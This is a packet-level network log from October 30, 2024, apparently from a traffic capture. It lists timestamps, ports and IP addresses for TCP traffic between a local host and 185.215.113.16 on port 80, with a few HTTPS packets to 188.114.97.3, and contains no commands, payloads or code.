Oct 30, 2024 12:36:57.237402916 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237402916 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237417936 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237435102 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237435102 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237435102 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237449884 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237454891 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237464905 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237471104 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237481117 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237503052 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237503052 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237529039 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237534046 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237545967 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237560987 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237576008 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237576008 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237576008 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237595081 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237601042 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237607002 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237622976 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237631083 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237672091 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237679005 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237679005 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237685919 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237700939 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237715960 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237732887 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237732887 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237736940 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237742901 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237751007 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237762928 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237762928 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237766027 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237782001 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237787962 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237813950 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237817049 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237817049 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237828970 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237843990 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237848043 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237859011 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237874985 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237874985 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237890005 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237898111 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237898111 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237905979 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237919092 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237931013 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237931013 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237952948 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237958908 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.237968922 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.237986088 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238001108 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238014936 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238015890 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238015890 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238029957 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238035917 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238046885 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238066912 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238086939 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238091946 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238101006 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238116980 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238126993 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238126993 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238133907 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238137960 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238148928 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238161087 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238164902 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238179922 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238190889 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238190889 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238199949 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238214970 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238226891 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238236904 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238240004 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238255978 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238260031 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238270998 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238271952 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238286972 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238301992 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238302946 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238302946 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238327026 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238327980 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238341093 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238354921 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238368034 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238377094 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238377094 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238382101 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238396883 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238405943 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238409996 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238425970 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.238442898 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238442898 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238461971 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.238497019 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.340200901 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.340244055 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.340285063 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.340285063 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.394049883 CET	443	49752	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:57.394287109 CET	443	49752	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:57.394350052 CET	49752	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:57.395726919 CET	49752	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:57.395747900 CET	443	49752	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:57.442871094 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.442900896 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.442918062 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.442926884 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.442933083 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.442943096 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.442950010 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.442969084 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.442971945 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.442986965 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.442997932 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443001986 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443018913 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443026066 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443042040 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443051100 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443058014 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443070889 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443075895 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443085909 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443095922 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443101883 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443115950 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443123102 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443130970 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443141937 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443154097 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443165064 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443170071 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443182945 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443187952 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443197012 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443209887 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443212986 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443228006 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443247080 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443248034 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443262100 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443264961 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443276882 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443284988 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443293095 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443304062 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443309069 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443330050 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443331957 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443336964 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443355083 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443358898 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443368912 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443378925 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443383932 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443398952 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443408012 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443412066 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443430901 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443430901 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443445921 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443451881 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443469048 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443473101 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443484068 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443490982 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443497896 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443510056 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443511963 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443527937 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443538904 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443546057 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443555117 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443563938 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443569899 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443583012 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443586111 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443598986 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443600893 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443617105 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443620920 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443629980 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443644047 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443650961 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443665981 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443672895 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443677902 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443681955 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443696976 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443697929 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443711042 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443722010 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443726063 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443739891 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443741083 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443757057 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443763018 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443772078 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443785906 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443793058 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443800926 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443816900 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443818092 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443830967 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443845987 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443847895 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443861961 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443871021 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443885088 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443896055 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443898916 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443913937 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443924904 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443929911 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443939924 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443938971 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443958044 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443970919 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.443979979 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443994999 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.443999052 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444010019 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444024086 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444024086 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444034100 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444047928 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444056034 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444061041 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444076061 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444087982 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444087982 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444097996 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444103003 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444113016 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444124937 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444127083 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444143057 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444143057 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444156885 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444161892 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444173098 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444186926 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444188118 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444200039 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444210052 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444225073 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444231987 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444240093 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444252014 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444255114 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444269896 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444279909 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444284916 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444300890 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444305897 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444317102 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444329977 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444333076 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444348097 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444353104 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444367886 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444369078 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444382906 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444391966 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444399118 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444413900 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444420099 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444428921 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444447994 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444449902 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444459915 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444464922 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444477081 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444483042 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444492102 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444505930 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444511890 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444520950 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444535971 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444536924 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444551945 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444561005 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444566965 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444581985 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444586992 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444598913 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444606066 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444612980 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444629908 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444649935 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444700003 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444715023 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444730043 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444736958 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444752932 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444755077 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444770098 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444770098 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444783926 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444793940 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444801092 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444808006 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444814920 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444825888 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444829941 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444843054 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444853067 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444863081 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444880009 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444890976 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444895029 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444910049 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444916010 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444925070 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444936991 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444940090 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444955111 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444957018 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444971085 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.444988966 CET	49751	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:57.444998980 CET	80	49751	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:57.445012093 CET	49751	80	192.168.2.4	185.215.113.16
